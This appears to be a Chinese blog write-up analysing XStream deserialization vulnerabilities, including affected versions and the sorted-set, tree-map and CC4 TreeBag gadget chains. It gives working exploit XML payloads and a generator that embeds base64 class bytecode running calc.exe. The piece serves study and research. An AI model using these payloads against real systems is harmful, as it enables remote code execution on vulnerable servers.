简介
XStream 是一个 Java 序列化/反序列化库,用于在 Java 对象和 XML(或 JSON)之间进行转换。它非常适合需要将对象保存为 XML 或从 XML 构建对象的场景。
反序列化的原理:
核心原理:
XML → XML Reader → TreeUnmarshaller → Converter → Java 对象
示例分析:
测试类:
package org.example.xtream_test;
public class Person {
private String name;
private int age;
// 必须有无参构造方法
public Person() {}
public Person(String name, int age) {
this.name = name;
this.age = age;
}
// getters 和 setters
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public int getAge() { return age; }
public void setAge(int age) { this.age = age; }
}
Main:
package org.example.xtream_test;
import com.thoughtworks.xstream.XStream;
public class main {
public static void main(String[] args) {
Person person = new Person("张三", 30);
// 创建 XStream 实例
XStream xStream = new XStream();
// 序列化(对象 -> XML)
xStream.alias("person", Person.class); //指定别名 (Alias) 防止序列化带有org.example.xtream_test字段
String xml = xStream.toXML(person);
System.out.println(xml);
// 创建 XStream 实例
// 反序列化(XML -> 对象)
Person person1 = (Person) xStream.fromXML(xml);
System.out.println(person1.getName()); // 输出: 张三
System.out.println(person1.getAge()); // 输出: 30
}
}
分析demo反序列化源码:
Class type = HierarchicalStreams.readClassType(this.reader, this.mapper); 拿到第一个标签下的对象类型了。
在调用Object result = this.convertAnother((Object)null, type);去对第一个标签下的类型进行其他逻辑
而这个是根据获取到的Type类型进行选着(上述为匹配类型不在就)解析器 converter = this.converterLookup.lookupConverterForType(type); ,当前我们的标签是自己的类,所以stream选择了DefaultconverterLookup 构造器。
最后反射去实例化了我们的peson类。整个逻辑比较复杂,多是处理标签的代码,处理完毕后在通过反射的方式去实例化类和成员属性等……
XStream 1.4.7 之后引入了安全机制,必须显式允许哪些类可以进行反序列化。
XStream xStream = new XStream();
XStream.setupDefaultSecurity(xStream);
xStream.allowTypes(new Class[]{Person.class, Address.class});
定义了那些类可以进行反序列化。
前置知识:
Y4哥说到了xtream的二比较重要的知识
EventHandler类
EventHandler类是实现了InvocationHandler的一个类,设计本意是为交互工具提供beans,建立从用户界面到应用程序逻辑的连接
EventHandler类定义的代码如下,其含有target和action属性,在EventHandler.invoke()->EventHandler.invokeInternal()->MethodUtil.invoke()的函数调用链中,会将前面两个属性作为类方法和参数继续反射调用
public static Object invoke(Method var0, Object var1, Object[] var2) throws InvocationTargetException, IllegalAccessException {
try {
return bounce.invoke((Object)null, var0, var1, var2);
} catch (InvocationTargetException var5) {
Throwable var4 = var5.getCause();
if (var4 instanceof InvocationTargetException) {
throw (InvocationTargetException)var4;
} else if (var4 instanceof IllegalAccessException) {
throw (IllegalAccessException)var4;
} else if (var4 instanceof RuntimeException) {
throw (RuntimeException)var4;
} else if (var4 instanceof Error) {
throw (Error)var4;
} else {
throw new Error("Unexpected invocation error", var4);
}
} catch (IllegalAccessException var6) {
throw new Error("Unexpected invocation error", var6);
}
}
从这种结构来看也是给在反序列化这个类的时候只要触发对应的invoke就会再次触发invoke任意方法,这也是为啥poc最后打的是EventHandler类,其实在挖掘新的xtream链我们可以偏向于可控的invoke方法
Converter转换器
XStream为Java常见的类型提供了Converter转换器。转换器注册中心是XStream组成的核心部分。
转换器的职责是提供一种策略,用于将对象图中找到的特定类型的对象转换为XML或将XML转换为对象。
简单地说,就是输入XML后它能识别其中的标签字段并转换为相应的对象,反之亦然。
转换器需要实现3个方法:
•
canConvert方法:告诉XStream对象,它能够转换的对象;
•
marshal方法:能够将对象转换为XML时候的具体操作;
•
unmarshal方法:能够将XML转换为对象时的具体操作;
具体参考:http://x-stream.github.io/converters.html
POC分析
本地demo:
public static void main(String[] args) throws Exception{
String path = System.getProperty("user.dir");
File file = new File(path + "/payload.txt");
System.out.println("尝试读取路径:" + file.getAbsolutePath());
System.out.println("文件是否存在?" + file.exists());
FileInputStream fileInputStream = new FileInputStream(file);
XStream xStream = new XStream(new DomDriver()); //随便放谁new
xStream.fromXML(fileInputStream);
}
1.sorted-set
影响版本
1.4.5,1.4.6,1.4.10
分析
经典调用计算器
<sorted-set>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>calc</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
调用Xtream下的fromXml并进入本类下的unmarshal()方法,而方法下内this.hierarchicalStreamDriver.createReader(input) 只是将我们的输入的东西转化为输入流,方便读取
跟入内部的逻辑,连续调用了几次unmarsal方法才进入的TreeUnmarshaller#start() (TreeUnmarshaller 是 XStream 中的“反序列化引擎”,它根据 XML 节点结构构造 Java 对象。)
发现会调用HierarchicalStreams.readClassType()来获取到PoC XML中根标签的类类型,进入到最最最父类下的aliasForSystemAttribute 方法
最终在com.thoughtworks.xstream.mapper.CachingMapper#realClass找到了java.util.SortedSet
接着是调用convertAnother()函数对java.util.SortedSet类型进行转换,我们跟进去该函数,其中调用mapper.defaultImplementationOf()函数来寻找java.util.SortedSet类型的默认实现类型进行替换,这里转换为了java.util.TreeSet类型
接着看到调用converterLookup.lookupConverterForType()来寻找TreeSet对应类型的转换器,可以看到这里的逻辑是,迭代this.converters,直到找到能转换出TreeSet类型
后半段啰嗦且烦躁,看一眼堆栈吧
大致逻辑就是所有的类都实例化好了,开始组装了,攻击一开始发现的估计是控制sorted-set 使用TreeSet构造器处理。后面就是利用TreaMap的putAll会触发compase
调用链:
sorted-set --> TreeSetConverter#unmarshal
TreeMapConverter#populateTreeMap
TreeMap#putAll
AbstractMap#put
TreeMap#compare
#compareTo
EventHandler#invokeInternal
其他说明
在小于等于1.3.1版本,运行报错显示TreeMap没有包含comparator元素,即不支持PoC中两个子标签元素调用compareTo()进行比较,因此无法利用
在1.4-1.4.5版本无法触发的原因
在TreeSetConverter.unmarshal()中,只有当sortedMapField和treeMap不为null时,才能进入populateTreeMap()
而在1.4-1.4.4版本中,sortedMapField默认为null,因此无法成功利用,这里以1.4.4版本为例
在1.4.7-1.4.9版本中,ReflectionConverter.canConvert()函数中添加了对EventHandler类的过滤
2.tree-map
适用范围
版本<=1.4.6或=1.4.10
分析
和sorted-map差不多,直接给payload
<tree-map>
<entry>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>open</string>
<string>-na</string>
<string>Calculator</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
<string>good</string>
</entry>
</tree-map>
其他说明
唯一与sorted-set有点区别的地方就是,在com.thoughtworks.xstream.converters.collections.TreeMapConverter#unmarshal,可以看到没有TreeSetConverter那么多的限制
在<=1.3.1版本的当中
会报错显示TreeMap没有包含comparator元素,即不支持PoC中两个子标签元素调用compareTo()进行比较,因此无法利用
在1.4.7-1.4.9版本,ReflectionConverter.canConvert()函数中添加了对EventHandler类的过滤
内存马研究
依赖版本:
xstream <= 1.4.17
可以配合着去打反序列化链子如CC4,通过base64的方式写入字节码
public class main {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
//TemplatesImpl 字节码改造
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("i");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
//constructor.setBody("Runtime.getRuntime().exec("calc.exe");");
byte[] bytes = Files.readAllBytes(Paths.get("src/main/java/org/example/calc.class"));
//byte[] bytes = ctClass.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
exp2.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
exp2.setFieldValue(templates, "_name", "a");
exp2.setFieldValue(templates, "_tfactory", new com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl());
// 结合 ChainedTransformer
org.apache.commons.collections4.functors.InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = {
new org.apache.commons.collections4.functors.ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
org.apache.commons.collections4.functors.ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer("qingfeng"));//传入假的,防止add弹
// TreeBag 会在添加元素时调用 compare,从而触发链
TreeBag<Object> bag = new TreeBag<>(transformingComparator);
bag.add(1);
bag.add(1); // 添加重复值触发比较
//关键点,要暴力反射把fnial属性强制改了transformerChain中的iTransformers
setFieldValue(transformingComparator, "transformer", chainedTransformer);
Map<Object, Object> map = new HashMap<>();
map.put(new URL("http://cb4kji.dnslog.cn"), "x");
// 创建 XStream 实例
XStream xStream = new XStream();
// 序列化(对象 -> XML)
//xStream.alias("TreeBag", TreeBag.class);
String xml = xStream.toXML(bag);
System.out.println(xml);
}
}
exp:
<org.apache.commons.collections4.bag.TreeBag serialization="custom">
<unserializable-parents>
<size>2</size>
</unserializable-parents>
<org.apache.commons.collections4.bag.TreeBag>
<default/>
<org.apache.commons.collections4.comparators.TransformingComparator>
<decorated class="org.apache.commons.collections4.comparators.ComparableComparator"/>
<transformer class="org.apache.commons.collections4.functors.ChainedTransformer">
<iTransformers>
<org.apache.commons.collections4.functors.ConstantTransformer>
<iConstant class="java-class">com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter</iConstant>
</org.apache.commons.collections4.functors.ConstantTransformer>
<org.apache.commons.collections4.functors.InstantiateTransformer>
<iParamTypes>
<java-class>javax.xml.transform.Templates</java-class>
</iParamTypes>
<iArgs>
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl serialization="custom">
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<default>
<__name>a</__name>
<__bytecodes>
<byte-array>yv66vgAAADQAGQEAAWkHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNs
dGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQAIPGNsaW5pdD4BAAMoKVYBAARDb2RlAQAR
amF2YS9sYW5nL1J1bnRpbWUHAAgBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7
DAAKAAsKAAkADAEACGNhbGMuZXhlCAAOAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGph
dmEvbGFuZy9Qcm9jZXNzOwwAEAARCgAJABIBAAY8aW5pdD4MABQABgoABAAVAQAKU291cmNlRmls
ZQEABmkuamF2YQAhAAIABAAAAAAAAgAIAAUABgABAAcAAAAWAAIAAAAAAAq4AA0SD7YAE1exAAAA
AAABABQABgABAAcAAAARAAEAAQAAAAUqtwAWsQAAAAAAAQAXAAAAAgAY</byte-array>
</__bytecodes>
<__transletIndex>-1</__transletIndex>
<__indentNumber>0</__indentNumber>
</default>
<boolean>false</boolean>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
</iArgs>
</org.apache.commons.collections4.functors.InstantiateTransformer>
</iTransformers>
</transformer>
</org.apache.commons.collections4.comparators.TransformingComparator>
<int>1</int>
<int>1</int>
<int>2</int>
</org.apache.commons.collections4.bag.TreeBag>
</org.apache.commons.collections4.bag.TreeBag>
注意项就是要保证:
clas文件继承:
AbstractTranslet
编译命令:
javac -XDignore.symbol.file Calc.java
测试中可以稳妥打内存马的利用组件CC3.1~3.2.1,CC4,CB
写的比较匆忙,内容上还是有些不足望大家理解
原文始发于微信公众号(T3Ysec):Xtream反序列化
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论